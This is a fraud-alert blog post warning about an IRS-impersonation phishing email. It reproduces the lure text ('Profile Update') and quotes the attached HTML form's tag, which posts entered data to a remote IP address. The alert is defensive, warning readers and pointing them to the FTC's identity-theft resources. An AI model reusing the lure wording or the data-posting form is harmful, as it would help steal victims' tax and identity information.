Search FraudFYI

Friday, January 22, 2016

PHISHING ALERT! PHISHING scam email from IRS irs-notice@services.com

DO NOT ENTER ANY INFORMATION INTO THE .HTML FORM ATTACHED TO THIS EMAIL!  This email IS NOT FROM THE IRS!  The form is posting your information to http://46.183.219.133/wp-log.php and is PHISHING FOR YOUR PERSONAL TAX INFORMATION!  Giving this scammer your personal information can allow them to file taxes, open credit and more using your identity!  If you have replied to this email or filled out the form attached to this email, you need to report it immediately!

The FTC provides information on the steps you need to take if you are a victim:  https://www.identitytheft.gov/


Originating IP: 37.97.131.158
Originating ISP: Transip B.v.
City: n/a
Country of Origin: Netherlands

from: IRS <irs-notice@services.com> 
to: "<>" <irs-notice@services.com>
date: Fri, Jan 22, 2016 at 6:29 AM
subject: Profile Update

We have undergone slight changes in the filing process for the 2016 Tax Season, in order to make filing for your refund easier and to prevent unnecessary delays.
Part of the changes include updating our database with your information.
Please ensure to carefully complete this verification to avoid hitches in processing your refund.
 We have sent you an attachment, open it and follow the steps to verify your profile.

application/octet-stream; name="ProfileUpdateFile.html"
<FORM name="Keypad" action="http://46.183.219.133/wp-log.php" method="POST" onsubmit="return validateForm()" target="myiframe">

No comments:

Post a Comment

Thank you for commenting! Your comment will be reviewed and posted shortly!